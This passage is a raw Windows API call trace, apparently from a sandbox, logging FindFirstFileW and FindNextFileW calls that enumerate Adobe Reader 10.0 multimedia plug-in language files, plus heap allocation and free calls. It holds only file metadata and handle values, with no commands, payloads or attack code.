[0229.153] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.SVE", cAlternateFileName="")) returned 1 [0229.154] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CAT", cAlternateFileName="QUICKT~1.CAT")) returned 1 [0229.662] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CHS", cAlternateFileName="QUICKT~1.CHS")) returned 1 [0229.662] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CHT", cAlternateFileName="QUICKT~1.CHT")) returned 1 [0229.662] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.DAN", cAlternateFileName="QUICKT~1.DAN")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.DEU", cAlternateFileName="QUICKT~1.DEU")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.ESP", cAlternateFileName="QUICKT~1.ESP")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.EUQ", cAlternateFileName="QUICKT~1.EUQ")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.FRA", cAlternateFileName="QUICKT~1.FRA")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.ITA", cAlternateFileName="QUICKT~1.ITA")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.JPN", cAlternateFileName="QUICKT~1.JPN")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.KOR", cAlternateFileName="QUICKT~1.KOR")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44000, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.mpp", cAlternateFileName="QUICKT~1.MPP")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.NLD", cAlternateFileName="QUICKT~1.NLD")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.NOR", cAlternateFileName="QUICKT~1.NOR")) returned 1 [0229.663] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.PTB", cAlternateFileName="QUICKT~1.PTB")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SUO", cAlternateFileName="QUICKT~1.SUO")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SVE", cAlternateFileName="QUICKT~1.SVE")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CAT", cAlternateFileName="WINDOW~1.CAT")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CHS", cAlternateFileName="WINDOW~1.CHS")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CHT", cAlternateFileName="WINDOW~1.CHT")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.DAN", cAlternateFileName="WINDOW~1.DAN")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.DEU", cAlternateFileName="WINDOW~1.DEU")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.ESP", cAlternateFileName="WINDOW~1.ESP")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.EUQ", cAlternateFileName="WINDOW~1.EUQ")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.FRA", cAlternateFileName="WINDOW~1.FRA")) returned 1 [0229.664] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.ITA", cAlternateFileName="WINDOW~1.ITA")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.JPN", cAlternateFileName="WINDOW~1.JPN")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.KOR", cAlternateFileName="WINDOW~1.KOR")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.NLD", cAlternateFileName="WINDOW~1.NLD")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.NOR", cAlternateFileName="WINDOW~1.NOR")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.PTB", cAlternateFileName="WINDOW~1.PTB")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SUO", cAlternateFileName="WINDOW~1.SUO")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SVE", cAlternateFileName="WINDOW~1.SVE")) returned 1 [0229.665] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SVE", cAlternateFileName="WINDOW~1.SVE")) returned 0 [0229.665] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.667] GetProcessHeap () returned 0x550000 [0229.667] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.667] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0229.667] GetProcessHeap () returned 0x550000 [0229.667] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.675] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.675] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0229.675] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.CZE", cAlternateFileName="")) returned 1 [0229.675] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CZE", cAlternateFileName="QUICKT~1.CZE")) returned 1 [0229.675] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CZE", cAlternateFileName="WINDOW~1.CZE")) returned 1 [0229.675] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CZE", cAlternateFileName="WINDOW~1.CZE")) returned 0 [0229.675] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.676] GetProcessHeap () returned 0x550000 [0229.676] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.676] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, 